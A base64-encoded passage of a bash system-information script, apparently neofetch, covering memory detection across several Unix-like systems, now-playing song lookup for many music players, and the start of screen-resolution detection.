0YXRzLnZtLnZfaW5hY3RpdmVfY291bnQpICogaHdfcGFnZXNpemUpKSIKICAgICAgICAgICAgICAgICAgICBtZW1fdW51c2VkPSIkKCgkKHN5c2N0bCAtbiB2bS5zdGF0cy52bS52X2ZyZWVfY291bnQpICogaHdfcGFnZXNpemUpKSIKICAgICAgICAgICAgICAgICAgICBtZW1fY2FjaGU9IiQoKCQoc3lzY3RsIC1uIHZtLnN0YXRzLnZtLnZfY2FjaGVfY291bnQpICogaHdfcGFnZXNpemUpKSIKICAgICAgICAgICAgICAgICAgICBtZW1fZnJlZT0iJCgoKG1lbV9pbmFjdGl2ZSArIG1lbV91bnVzZWQgKyBtZW1fY2FjaGUpIC8gMTAyNCAvIDEwMjQpKSIKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgIk1JTklYIikKICAgICAgICAgICAgICAgICAgICBtZW1fZnJlZT0iJCh0b3AgLWQgMSB8IGF3ayAtRiAnLCcgJy9eTWVtb3J5Oi8ge3ByaW50ICQyfScpIgogICAgICAgICAgICAgICAgICAgIG1lbV9mcmVlPSIke21lbV9mcmVlL00gRnJlZX0iCiAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICJPcGVuQlNEIiopIDs7CiAgICAgICAgICAgICAgICAqKSBtZW1fZnJlZT0iJCgoJCh2bXN0YXQgfCBhd2sgJ0VORCB7cHJpbnRmICQ1fScpIC8gMTAyNCkpIiA7OwogICAgICAgICAgICBlc2FjCgogICAgICAgICAgICAjIE1lbSB1c2VkLgogICAgICAgICAgICBjYXNlICRrZXJuZWxfbmFtZSBpbgogICAgICAgICAgICAgICAgIk9wZW5CU0QiKikKICAgICAgICAgICAgICAgICAgICBtZW1fdXNlZD0iJCh2bXN0YXQgfCBhd2sgJ0VORCB7cHJpbnRmICQzfScpIgogICAgICAgICAgICAgICAgICAgIG1lbV91c2VkPSIke21lbV91c2VkL019IgogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAqKSBtZW1fdXNlZD0iJCgobWVtX3RvdGFsIC0gbWVtX2ZyZWUpKSIgOzsKICAgICAgICAgICAgZXNhYwogICAgICAgIDs7CgogICAgICAgICJTb2xhcmlzIiB8ICJBSVgiKQogICAgICAgICAgICBod19wYWdlc2l6ZT0iJChwYWdlc2l6ZSkiCiAgICAgICAgICAgIGNhc2UgJG9zIGluCiAgICAgICAgICAgICAgICAiU29sYXJpcyIpCiAgICAgICAgICAgICAgICAgICAgcGFnZXNfdG90YWw9IiQoa3N0YXQgLXAgdW5peDowOnN5c3RlbV9wYWdlczpwYWdlc3RvdGFsIHwgYXdrICd7cHJpbnQgJDJ9JykiCiAgICAgICAgICAgICAgICAgICAgcGFnZXNfZnJlZT0iJChrc3RhdCAtcCB1bml4OjA6c3lzdGVtX3BhZ2VzOnBhZ2VzZnJlZSB8IGF3ayAne3ByaW50ICQyfScpIgogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAiQUlYIikKICAgICAgICAgICAgICAgICAgICBJRlM9JCdcbicifCAiIHJlYWQgLWQgIiIgLXJhIG1lbV9zdGF0IDw8PCAiJChzdm1vbiAtRyAtTyB1bml0PXBhZ2UpIgogICAgICAgICAgICAgICAgICAgIHBhZ2VzX3RvdGFsPSIke21lbV9zdGF0WzExXX0iCiAgICAgICAgICAgICAgICAgICAgcGFnZXNfZnJlZT0iJHttZW1fc3RhdFsxNl19IgogICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgZXNhYwogICAgICAgICAgICBtZW1fdG90YWw9IiQoKHBhZ2VzX3RvdGFsICogaHdfcGFnZXNpemUgLyAxMDI0IC8gMTAyNCkpIgogICAgICAgICAgICBtZW1fZnJlZT0iJCgocGFnZXNfZnJlZSAqIGh3X3BhZ2VzaXplIC8gMTAyNCAvIDEwMjQpKSIKICAgICAgICAgICAgbWVtX3VzZWQ9IiQoKG1lbV90b3RhbCAtIG1lbV9mcmVlKSkiCiAgICAgICAgOzsKCiAgICAgICAgIkhhaWt1IikKICAgICAgICAgICAgbWVtX3RvdGFsPSIkKCgkKHN5c2luZm8gLW1lbSB8IGF3ayAtRiAnXFwvIHwpJyAne3ByaW50ICQyOyBleGl0fScpIC8gMTAyNCAvIDEwMjQpKSIKICAgICAgICAgICAgbWVtX3VzZWQ9IiQoc3lzaW5mbyAtbWVtIHwgYXdrIC1GICdcXC98KScgJ3twcmludCAkMjsgZXhpdH0nKSIKICAgICAgICAgICAgbWVtX3VzZWQ9IiQoKCR7bWVtX3VzZWQvbWF4fSAvIDEwMjQgLyAxMDI0KSkiCiAgICAgICAgOzsKCiAgICAgICAgIklSSVgiKQogICAgICAgICAgICBJRlM9JCdcbicgcmVhZCAtZCAiIiAtcmEgbWVtX2NtZCA8PDwgIiQocG1lbSkiCiAgICAgICAgICAgIElGUz0iICIgcmVhZCAtcmEgbWVtX3N0YXQgPDw8ICIke21lbV9jbWRbMF19IgoKICAgICAgICAgICAgbWVtX3RvdGFsPSIkKChtZW1fc3RhdFszXSAvIDEwMjQpKSIKICAgICAgICAgICAgbWVtX2ZyZWU9IiQoKG1lbV9zdGF0WzVdIC8gMTAyNCkpIgogICAgICAgICAgICBtZW1fdXNlZD0iJCgobWVtX3RvdGFsIC0gbWVtX2ZyZWUpKSIKICAgICAgICA7OwoKICAgICAgICAiRnJlZU1pTlQiKQogICAgICAgICAgICBtZW09IiQoYXdrIC1GICc6fGtCJyAnL01lbVRvdGFsOnxNZW1GcmVlOi8ge3ByaW50ZiAkMiwgIiAifScgL2tlcm4vbWVtaW5mbykiCiAgICAgICAgICAgIG1lbV9mcmVlPSIke21lbS8qICB9IgogICAgICAgICAgICBtZW1fdG90YWw9IiR7bWVtLyRtZW1fZnJlZX0iCiAgICAgICAgICAgIG1lbV91c2VkPSIkKChtZW1fdG90YWwgLSBtZW1fZnJlZSkpIgogICAgICAgICAgICBtZW1fdG90YWw9IiQoKG1lbV90b3RhbCAvIDEwMjQpKSIKICAgICAgICAgICAgbWVtX3VzZWQ9IiQoKG1lbV91c2VkIC8gMTAyNCkpIgogICAgICAgIDs7CgogICAgZXNhYwoKICAgIFtbICIkbWVtb3J5X3BlcmNlbnQiID09ICJvbiIgXV0gJiYgKChtZW1fcGVyYz1tZW1fdXNlZCAqIDEwMCAvIG1lbV90b3RhbCkpCgogICAgY2FzZSAkbWVtb3J5X3VuaXQgaW4KICAgICAgICBnaWIpCiAgICAgICAgICAgIG1lbV91c2VkPSQoYXdrICd7cHJpbnRmICIlLjJmIiwgJDEgLyAkMn0nIDw8PCAiJG1lbV91c2VkIDEwMjQiKQogICAgICAgICAgICBtZW1fdG90YWw9JChhd2sgJ3twcmludGYgIiUuMmYiLCAkMSAvICQyfScgPDw8ICIkbWVtX3RvdGFsIDEwMjQiKQogICAgICAgICAgICBtZW1fbGFiZWw9R2lCCiAgICAgICAgOzsKCiAgICAgICAga2liKQogICAgICAgICAgICBtZW1fdXNlZD0kKChtZW1fdXNlZCAqIDEwMjQpKQogICAgICAgICAgICBtZW1fdG90YWw9JCgobWVtX3RvdGFsICogMTAyNCkpCiAgICAgICAgICAgIG1lbV9sYWJlbD1LaUIKICAgICAgICA7OwogICAgZXNhYwoKICAgIG1lbW9yeT0iJHttZW1fdXNlZH0ke21lbV9sYWJlbDotTWlCfSAvICR7bWVtX3RvdGFsfSR7bWVtX2xhYmVsOi1NaUJ9ICR7bWVtX3BlcmM6Kygke21lbV9wZXJjfSUpfSIKCiAgICAjIEJhcnMuCiAgICBjYXNlICRtZW1vcnlfZGlzcGxheSBpbgogICAgICAgICJiYXIiKSAgICAgbWVtb3J5PSIkKGJhciAiJHttZW1fdXNlZH0iICIke21lbV90b3RhbH0iKSIgOzsKICAgICAgICAiaW5mb2JhciIpIG1lbW9yeT0iJHttZW1vcnl9ICQoYmFyICIke21lbV91c2VkfSIgIiR7bWVtX3RvdGFsfSIpIiA7OwogICAgICAgICJiYXJpbmZvIikgbWVtb3J5PSIkKGJhciAiJHttZW1fdXNlZH0iICIke21lbV90b3RhbH0iKSR7aW5mb19jb2xvcn0gJHttZW1vcnl9IiA7OwogICAgZXNhYwp9CgpnZXRfc29uZygpIHsKICAgIHBsYXllcnM9KAogICAgICAgICJhbWFyb2siCiAgICAgICAgImF1ZGFjaW91cyIKICAgICAgICAiYmFuc2hlZSIKICAgICAgICAiYmx1ZW1pbmRvIgogICAgICAgICJjbGVtZW50aW5lIgogICAgICAgICJjbXVzIgogICAgICAgICJkZWFkYmVlZiIKICAgICAgICAiZGVlcGluLW11c2ljIgogICAgICAgICJkcmFnb24iCiAgICAgICAgImVsaXNhIgogICAgICAgICJleGFpbGUiCiAgICAgICAgImdub21lLW11c2ljIgogICAgICAgICJnbXVzaWNicm93c2VyIgogICAgICAgICJnb2dnbGVzbW0iCiAgICAgICAgImd1YXlhZGVxdWUiCiAgICAgICAgImlvLmVsZW1lbnRhcnkubXVzaWMiCiAgICAgICAgImlUdW5lcyIKICAgICAgICAiTXVzaWMiCiAgICAgICAgImp1ayIKICAgICAgICAibG9sbHlwb3AiCiAgICAgICAgIk1lbGxvd1BsYXllciIKICAgICAgICAibW9jcCIKICAgICAgICAibW9waWR5IgogICAgICAgICJtcGQiCiAgICAgICAgIm11aW5lIgogICAgICAgICJuZXRlYXNlLWNsb3VkLW11c2ljIgogICAgICAgICJvbGl2aWEiCiAgICAgICAgInBsYXNtYS1icm93c2VyLWludGVncmF0aW9uIgogICAgICAgICJwbGF5ZXJjdGwiCiAgICAgICAgInBvZ28iCiAgICAgICAgInByYWdoYSIKICAgICAgICAicW1tcCIKICAgICAgICAicXVvZGxpYmV0IgogICAgICAgICJyaHl0aG1ib3giCiAgICAgICAgInNheW9uYXJhIgogICAgICAgICJzbXBsYXllciIKICAgICAgICAic3BvdGlmeSIKICAgICAgICAiU3BvdGlmeSIKICAgICAgICAic3RyYXdiZXJyeSIKICAgICAgICAidGF1b25tYiIKICAgICAgICAidG9tYWhhd2siCiAgICAgICAgInZsYyIKICAgICAgICAieG1tczJkIgogICAgICAgICJ4bm9pc2UiCiAgICAgICAgInlhcm9jayIKICAgICkKCiAgICBwcmludGYgLXYgcGxheWVycyAifCVzIiAiJHtwbGF5ZXJzW0BdfSIKICAgIHBsYXllcj0iJChwcyBhdXggfCBhd2sgLXYgcGF0dGVybj0iKCR7cGxheWVyczoxfSkiIFwKICAgICAgICAnIS8gYXdrIC8gJiYgIS9pVHVuZXNIZWxwZXIvICYmIG1hdGNoKCQwLHBhdHRlcm4pe3ByaW50IHN1YnN0cigkMCxSU1RBUlQsUkxFTkdUSCk7IGV4aXR9JykiCgogICAgW1sgIiRtdXNpY19wbGF5ZXIiICYmICIkbXVzaWNfcGxheWVyIiAhPSAiYXV0byIgXV0gJiYgcGxheWVyPSIkbXVzaWNfcGxheWVyIgoKICAgIGdldF9zb25nX2RidXMoKSB7CiAgICAgICAgIyBNdWx0aXBsZSBwbGF5ZXJzIHVzZSBhbiBhbG1vc3QgaWRlbnRpY2FsIGRidXMgY29tbWFuZCB0byBnZXQgdGhlIGluZm9ybWF0aW9uLgogICAgICAgICMgVGhpcyBmdW5jdGlvbiBzYXZlcyB1cyB1c2luZyB0aGUgc2FtZSBjb21tYW5kIHRocm91Z2hvdXQgdGhlIGZ1bmN0aW9uLgogICAgICAgIHNvbmc9IiQoXAogICAgICAgICAgICBkYnVzLXNlbmQgLS1wcmludC1yZXBseSAtLWRlc3Q9b3JnLm1wcmlzLk1lZGlhUGxheWVyMi4iJHsxfSIgL29yZy9tcHJpcy9NZWRpYVBsYXllcjIgXAogICAgICAgICAgICBvcmcuZnJlZWRlc2t0b3AuREJ1cy5Qcm9wZXJ0aWVzLkdldCBzdHJpbmc6J29yZy5tcHJpcy5NZWRpYVBsYXllcjIuUGxheWVyJyBcCiAgICAgICAgICAgIHN0cmluZzonTWV0YWRhdGEnIHxcCiAgICAgICAgICAgIGF3ayAtRiAnIicgJ0JFR0lOIHtSUz0iIGVudHJ5In07IC8ieGVzYW06YXJ0aXN0Ii8ge2EgPSAkNH0gLyJ4ZXNhbTphbGJ1bSIvIHtiID0gJDR9CiAgICAgICAgICAgICAgICAgICAgICAgIC8ieGVzYW06dGl0bGUiLyB7dCA9ICQ0fSBFTkQge3ByaW50IGEgIiBcbiIgYiAiIFxuIiB0fScKICAgICAgICApIgogICAgfQoKICAgIGNhc2UgJHtwbGF5ZXIvKlwvfSBpbgogICAgICAgICJtb2NwIiopICAgICAgICAgIHNvbmc9IiQobW9jcCAtUSAnJWFydGlzdCBcbiVhbGJ1bSBcbiVzb25nJykiIDs7CiAgICAgICAgImRlYWRiZWVmIiopICAgICAgc29uZz0iJChkZWFkYmVlZiAtLW5vd3BsYXlpbmctdGYgJyVhcnRpc3QlIFxcbiVhbGJ1bSUgXFxuJXRpdGxlJScpIiA7OwogICAgICAgICJxbW1wIiopICAgICAgICAgIHNvbmc9IiQocW1tcCAtLW5vd3BsYXlpbmcgJyVwIFxuJWEgXG4ldCcpIiA7OwogICAgICAgICJnbm9tZS1tdXNpYyIqKSAgIGdldF9zb25nX2RidXMgIkdub21lTXVzaWMiIDs7CiAgICAgICAgImxvbGx5cG9wIiopICAgICAgZ2V0X3NvbmdfZGJ1cyAiTG9sbHlwb3AiIDs7CiAgICAgICAgImNsZW1lbnRpbmUiKikgICAgZ2V0X3NvbmdfZGJ1cyAiY2xlbWVudGluZSIgOzsKICAgICAgICAiY211cyIqKSAgICAgICAgICBnZXRfc29uZ19kYnVzICJjbXVzIiA7OwogICAgICAgICJqdWsiKikgICAgICAgICAgIGdldF9zb25nX2RidXMgImp1ayIgOzsKICAgICAgICAiYmx1ZW1pbmRvIiopICAgICBnZXRfc29uZ19kYnVzICJCbHVlbWluZG8iIDs7CiAgICAgICAgImd1YXlhZGVxdWUiKikgICAgZ2V0X3NvbmdfZGJ1cyAiZ3VheWFkZXF1ZSIgOzsKICAgICAgICAieWFyb2NrIiopICAgICAgICBnZXRfc29uZ19kYnVzICJ5YXJvY2siIDs7CiAgICAgICAgImRlZXBpbi1tdXNpYyIqKSAgZ2V0X3NvbmdfZGJ1cyAiRGVlcGluTXVzaWMiIDs7CiAgICAgICAgInRvbWFoYXdrIiopICAgICAgZ2V0X3NvbmdfZGJ1cyAidG9tYWhhd2siIDs7CiAgICAgICAgImVsaXNhIiopICAgICAgICAgZ2V0X3NvbmdfZGJ1cyAiZWxpc2EiIDs7CiAgICAgICAgInNheW9uYXJhIiopICAgICAgZ2V0X3NvbmdfZGJ1cyAic2F5b25hcmEiIDs7CiAgICAgICAgImF1ZGFjaW91cyIqKSAgICAgZ2V0X3NvbmdfZGJ1cyAiYXVkYWNpb3VzIiA7OwogICAgICAgICJ2bGMiKikgICAgICAgICAgIGdldF9zb25nX2RidXMgInZsYyIgOzsKICAgICAgICAiZ211c2ljYnJvd3NlciIqKSBnZXRfc29uZ19kYnVzICJnbXVzaWNicm93c2VyIiA7OwogICAgICAgICJwcmFnaGEiKikgICAgICAgIGdldF9zb25nX2RidXMgInByYWdoYSIgOzsKICAgICAgICAiYW1hcm9rIiopICAgICAgICBnZXRfc29uZ19kYnVzICJhbWFyb2siIDs7CiAgICAgICAgImRyYWdvbiIqKSAgICAgICAgZ2V0X3NvbmdfZGJ1cyAiZHJhZ29ucGxheWVyIiA7OwogICAgICAgICJzbXBsYXllciIqKSAgICAgIGdldF9zb25nX2RidXMgInNtcGxheWVyIiA7OwogICAgICAgICJyaHl0aG1ib3giKikgICAgIGdldF9zb25nX2RidXMgInJoeXRobWJveCIgOzsKICAgICAgICAic3RyYXdiZXJyeSIqKSAgICBnZXRfc29uZ19kYnVzICJzdHJhd2JlcnJ5IiA7OwogICAgICAgICJnb2dnbGVzbW0iKikgICAgIGdldF9zb25nX2RidXMgImdvZ2dsZXNtbSIgOzsKICAgICAgICAieG5vaXNlIiopICAgICAgICBnZXRfc29uZ19kYnVzICJ4bm9pc2UiIDs7CiAgICAgICAgInRhdW9ubWIiKikgICAgICAgZ2V0X3NvbmdfZGJ1cyAidGF1b24iIDs7CiAgICAgICAgIm9saXZpYSIqKSAgICAgICAgZ2V0X3NvbmdfZGJ1cyAib2xpdmlhIiA7OwogICAgICAgICJleGFpbGUiKikgICAgICAgIGdldF9zb25nX2RidXMgImV4YWlsZSIgOzsKICAgICAgICAibmV0ZWFzZS1jbG91ZC1tdXNpYyIqKSAgICAgICAgZ2V0X3NvbmdfZGJ1cyAibmV0ZWFzZS1jbG91ZC1tdXNpYyIgOzsKICAgICAgICAicGxhc21hLWJyb3dzZXItaW50ZWdyYXRpb24iKikgZ2V0X3NvbmdfZGJ1cyAicGxhc21hLWJyb3dzZXItaW50ZWdyYXRpb24iIDs7CiAgICAgICAgImlvLmVsZW1lbnRhcnkubXVzaWMiKikgICAgICAgIGdldF9zb25nX2RidXMgIk11c2ljIiA7OwogICAgICAgICJNZWxsb3dQbGF5ZXIiKikgIGdldF9zb25nX2RidXMgIk1lbGxvd1BsYXllcjMiIDs7CgogICAgICAgICJtcGQiKiB8ICJtb3BpZHkiKikKICAgICAgICAgICAgc29uZz0iJChtcGMgLWYgJyVhcnRpc3QlIFxuJWFsYnVtJSBcbiV0aXRsZSUnIGN1cnJlbnQgIiR7bXBjX2FyZ3NbQF19IikiCiAgICAgICAgOzsKCiAgICAgICAgInhtbXMyZCIqKQogICAgICAgICAgICBzb25nPSIkKHhtbXMyIGN1cnJlbnQgLWYgIlwke2FydGlzdH0iJCcgXG4nIlwke2FsYnVtfSIkJyBcbiciXCR7dGl0bGV9IikiCiAgICAgICAgOzsKCiAgICAgICAgInNwb3RpZnkiKikKICAgICAgICAgICAgY2FzZSAkb3MgaW4KICAgICAgICAgICAgICAgICJMaW51eCIpIGdldF9zb25nX2RidXMgInNwb3RpZnkiIDs7CgogICAgICAgICAgICAgICAgIk1hYyBPUyBYInwibWFjT1MiKQogICAgICAgICAgICAgICAgICAgIHNvbmc9IiQob3Nhc2NyaXB0IC1lICd0ZWxsIGFwcGxpY2F0aW9uICJTcG90aWZ5IiB0byBhcnRpc3Qgb2YgY3VycmVudCB0cmFjayBhc8KsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyAmICJcbiIgJiBhbGJ1bSBvZiBjdXJyZW50IHRyYWNrIGFzwqwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nICYgIlxuIiAmIG5hbWUgb2YgY3VycmVudCB0cmFjayBhcyBzdHJpbmcnKSIKICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgIGVzYWMKICAgICAgICA7OwoKICAgICAgICAiaXR1bmVzIiopCiAgICAgICAgICAgIHNvbmc9IiQob3Nhc2NyaXB0IC1lICd0ZWxsIGFwcGxpY2F0aW9uICJpVHVuZXMiIHRvIGFydGlzdCBvZiBjdXJyZW50IHRyYWNrIGFzwqwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyAmICJcbiIgJiBhbGJ1bSBvZiBjdXJyZW50IHRyYWNrIGFzwqwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyAmICJcbiIgJiBuYW1lIG9mIGN1cnJlbnQgdHJhY2sgYXMgc3RyaW5nJykiCiAgICAgICAgOzsKCiAgICAgICAgIm11c2ljIiopCiAgICAgICAgICAgIHNvbmc9IiQob3Nhc2NyaXB0IC1lICd0ZWxsIGFwcGxpY2F0aW9uICJNdXNpYyIgdG8gYXJ0aXN0IG9mIGN1cnJlbnQgdHJhY2sgYXPCrAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nICYgIlxuIiAmIGFsYnVtIG9mIGN1cnJlbnQgdHJhY2sgYXPCrAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nICYgIlxuIiAmIG5hbWUgb2YgY3VycmVudCB0cmFjayBhcyBzdHJpbmcnKSIKICAgICAgICA7OwoKICAgICAgICAiYmFuc2hlZSIqKQogICAgICAgICAgICBzb25nPSIkKGJhbnNoZWUgLS1xdWVyeS1hcnRpc3QgLS1xdWVyeS1hbGJ1bSAtLXF1ZXJ5LXRpdGxlIHxcCiAgICAgICAgICAgICAgICAgICAgYXdrIC1GJzonICcvXmFydGlzdC8ge2E9JDJ9IC9eYWxidW0vIHtiPSQyfSAvXnRpdGxlLyB7dD0kMn0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVORCB7cHJpbnQgYSAiIFxuIiBiICIgXG4idH0nKSIKICAgICAgICA7OwoKICAgICAgICAibXVpbmUiKikKICAgICAgICAgICAgc29uZz0iJChkYnVzLXNlbmQgLS1wcmludC1yZXBseSAtLWRlc3Q9b3JnLmdub21lLk11aW5lIC9vcmcvZ25vbWUvTXVpbmUvUGxheWVyIFwKICAgICAgICAgICAgICAgICAgICBvcmcuZ25vbWUuTXVpbmUuUGxheWVyLkdldEN1cnJlbnRTb25nIHwKICAgICAgICAgICAgICAgICAgICBhd2sgLUYnOicgJy9eYXJ0aXN0LyB7YT0kMn0gL15hbGJ1bS8ge2I9JDJ9IC9edGl0bGUvIHt0PSQyfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRU5EIHtwcmludCBhICIgXG4iIGIgIiBcbiIgdH0nKSIKICAgICAgICA7OwoKICAgICAgICAicXVvZGxpYmV0IiopCiAgICAgICAgICAgIHNvbmc9IiQoZGJ1cy1zZW5kIC0tcHJpbnQtcmVwbHkgLS1kZXN0PW5ldC5zYWNyZWRjaGFvLlF1b2RMaWJldCBcCiAgICAgICAgICAgICAgICAgICAgL25ldC9zYWNyZWRjaGFvL1F1b2RMaWJldCBuZXQuc2FjcmVkY2hhby5RdW9kTGliZXQuQ3VycmVudFNvbmcgfFwKICAgICAgICAgICAgICAgICAgICBhd2sgLUYnIicgJ0JFR0lOIHtSUz0iIGVudHJ5In07IC8iYXJ0aXN0Ii8ge2E9JDR9IC8iYWxidW0iLyB7Yj0kNH0KICAgICAgICAgICAgICAgICAgICAvInRpdGxlIi8ge3Q9JDR9IEVORCB7cHJpbnQgYSAiIFxuIiBiICIgXG4iIHR9JykiCiAgICAgICAgOzsKCiAgICAgICAgInBvZ28iKikKICAgICAgICAgICAgc29uZz0iJChkYnVzLXNlbmQgLS1wcmludC1yZXBseSAtLWRlc3Q9b3JnLm1wcmlzLnBvZ28gL1BsYXllciBcCiAgICAgICAgICAgICAgICAgICAgb3JnLmZyZWVkZXNrdG9wLk1lZGlhUGxheWVyLkdldE1ldGFkYXRhIHwKICAgICAgICAgICAgICAgICAgICBhd2sgLUYnIicgJ0JFR0lOIHtSUz0iIGVudHJ5In07IC8iYXJ0aXN0Ii8ge2E9JDR9IC8iYWxidW0iLyB7Yj0kNH0KICAgICAgICAgICAgICAgICAgICAvInRpdGxlIi8ge3Q9JDR9IEVORCB7cHJpbnQgYSAiIFxuIiBiICIgXG4iIHR9JykiCiAgICAgICAgOzsKCiAgICAgICAgInBsYXllcmN0bCIqKQogICAgICAgICAgICBzb25nPSIkKHBsYXllcmN0bCBtZXRhZGF0YSAtLWZvcm1hdCAne3sgYXJ0aXN0IH19IFxue3sgYWxidW0gfX0gXG57eyB0aXRsZSB9fScpIgogICAgICAgICA7OwoKICAgICAgICAqKSBtcGMgJj4vZGV2L251bGwgJiYgc29uZz0iJChtcGMgLWYgJyVhcnRpc3QlIFxuJWFsYnVtJSBcbiV0aXRsZSUnIGN1cnJlbnQpIiB8fCByZXR1cm4gOzsKICAgIGVzYWMKCiAgICBJRlM9JCdcbicgcmVhZCAtZCAiIiAtciBhcnRpc3QgYWxidW0gdGl0bGUgPDw8ICIke3NvbmcvLydcbicvJCdcbid9IgoKICAgICMgTWFrZSBzdXJlIGVtcHR5IHRhZ3MgYXJlIHRydWx5IGVtcHR5LgogICAgYXJ0aXN0PSIkKHRyaW0gIiRhcnRpc3QiKSIKICAgIGFsYnVtPSIkKHRyaW0gIiRhbGJ1bSIpIgogICAgdGl0bGU9IiQodHJpbSAiJHRpdGxlIikiCgogICAgIyBTZXQgZGVmYXVsdCB2YWx1ZXMgaWYgbm8gdGFncyB3ZXJlIGZvdW5kLgogICAgOiAiJHthcnRpc3Q6PVVua25vd24gQXJ0aXN0fSIgIiR7YWxidW06PVVua25vd24gQWxidW19IiAiJHt0aXRsZTo9VW5rbm93biBTb25nfSIKCiAgICAjIERpc3BsYXkgQXJ0aXN0LCBBbGJ1bSBhbmQgVGl0bGUgb24gc2VwYXJhdGUgbGluZXMuCiAgICBpZiBbWyAiJHNvbmdfc2hvcnRoYW5kIiA9PSAib24iIF1dOyB0aGVuCiAgICAgICAgcHJpbiAiQXJ0aXN0IiAiJGFydGlzdCIKICAgICAgICBwcmluICJBbGJ1bSIgICIkYWxidW0iCiAgICAgICAgcHJpbiAiU29uZyIgICAiJHRpdGxlIgogICAgZWxzZQogICAgICAgIHNvbmc9IiR7c29uZ19mb3JtYXQvXCVhcnRpc3RcJS8kYXJ0aXN0fSIKICAgICAgICBzb25nPSIke3NvbmcvXCVhbGJ1bVwlLyRhbGJ1bX0iCiAgICAgICAgc29uZz0iJHtzb25nL1wldGl0bGVcJS8kdGl0bGV9IgogICAgZmkKfQoKZ2V0X3Jlc29sdXRpb24oKSB7CiAgICBjYXNlICRvcyBpbgogICAgICAgICJNYWMgT1MgWCJ8Im1hY09TIikKICAgICAgICAgICAgaWYgdHlwZSAtcCBzY3JlZW5yZXNvbHV0aW9uID4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIHJlc29sdXRpb249IiQoc2NyZWVucmVzb2x1dGlvbiBnZXQgMj4mMSB8IGF3ayAnL0Rpc3BsYXkvIHtwcmludGYgJDYgIkh6LCAifScpIgogICAgICAgICAgICAgICAgcmVzb2x1dGlvbj0iJHtyZXNvbHV0aW9uLy94Pz9ALyBAIH0iCgogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICByZXNvbHV0aW9uPSIkKHN5c3RlbV9wcm9maWxlciBTUERpc3BsYXlzRGF0YVR5cGUgfFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXdrICcvUmVzb2x1dGlvbjovIHtwcmludGYgJDIieCIkNCIgQCAiJDYiSHosICJ9JykiCiAgICAgICAgICAgIGZpCgogICAgICAgICAgICBpZiBbWyAtZSAiL0xpYnJhcnkvUHJlZmVyZW5jZXMvY29tLmFwcGxlLndpbmRvd3NlcnZlci5wbGlzdCIgXV07IHRoZW4KICAgICAgICAgICAgICAgIHNjYWxlX2ZhY3Rvcj0iJChQbGlzdEJ1ZGR5IC1jICJQcmludCBEaXNwbGF5QW55VXNlclNldHM6MDowOlJlc29sdXRpb24iIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvTGlicmFyeS9QcmVmZXJlbmNlcy9jb20uYXBwbGUud2luZG93c2VydmVyLnBsaXN0KSIKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgc2NhbGVfZmFjdG9yPSIiCiAgICAgICAgICAgIGZpCgogICAgICAgICAgICAjIElmIG5vIHJlZnJlc2ggcmF0ZSBpcyBlbXB0eS4KICAgICAgICAgICAgW1sgIiRyZXNvbHV0aW9uIiA9PSAqIkAgSHoiKiBdXSAmJiBcCiAgICAgICAgICAgICAgICByZXNvbHV0aW9uPSIke3Jlc29sdXRpb24vL0AgSHp9IgoKICAgICAgICAgICAgW1sgIiR7c2NhbGVfZmFjdG9yJS4qfSIgPT0gMiBdXSAmJiBcCiAgICAgICAgICAgICAgICByZXNvbHV0aW9uPSIke3Jlc29sdXRpb24vLyBAL0AyeCBAfSIKCiAgICAgICAgICAgIGlmIFtbICIkcmVmcmVzaF9yYXRlIiA9PSAib2ZmIiBdXTsgdGhlbgogICAgICAgICAgICAgICAgcmVzb2x1dGlvbj0iJHtyZXNvbHV0aW9uLy8gQCBbMC05XVswLTldSHp9IgogICAgICAgICAgICAgICAgcmVzb2x1dGlvbj0iJHtyZXNvbHV0aW9uLy8gQCBbMC05XVswLTldWzAtOV1Ien0iCiAgICAgICAgICAgIGZpCgogICAgICAgICAgICBbWyAiJHJlc29sdXRpb24iID09ICoiMEh6IiogXV0gJiYgXAogICAgICAgICAgICAgICAgcmVzb2x1dGlvbj0iJHtyZXNvbHV0aW9uLy8gQCAwSHp9IgogICAgICAgIDs7CgogICAgICAgICJXaW5kb3dzIikKICAgICAgICAgICAgSUZTPSQnXG4nIHJlYWQgLWQgIiIgLXJhIHN3IFwKICAgICAgICAgICAgICAgIDw8PCAiJCh3bWljIHBhdGggV2luMzJfVmlkZW9Db250cm9sbGVyIGdldCBDdXJyZW50SG9yaXpvbnRhbFJlc29sdXRpb24pIgoKICAgICAgICAgICAgSUZTPSQnXG4nIHJlYWQgLWQgIiIgLXJhIHNoIFwKICAgICAgICAgICAgICAgIDw8PCAiJCh3bWljIHBhdGggV2luMzJfVmlkZW9Db250cm9sbGVyIGdldCBDdXJyZW50VmVydGljYWxSZXNvbHV0aW9uKSIKCiAgICAgICAgICAgIHN3PSgiJHtzd1tAXS8vQ3VycmVudEhvcml6b250YWxSZXNvbHV0aW9ufSIpCiAgICAgICAgICAgIHNoPSgiJHtzaFtAXS8vQ3VycmVudFZlcnRpY2FsUmVzb2x1dGlvbn0iKQoKICAgICAgICAgICAgZm9yICgobW4gPSAwOyBtbiA8ICR7I3N3W0BdfTsgbW4rKykpIHsKICAgICAgICAgICAgICAgIFtbICR7c3dbbW5dLy9bWzpzcGFjZTpdXX0gJiYgJHtzaFttbl0vL1tbOnNwYWNlOl1dfSBdXSAmJgogICAgICAgICAgICAgICAgICAgIHJlc29sdXRpb24rPSIke3N3W21uXS8vW1s6c3Bh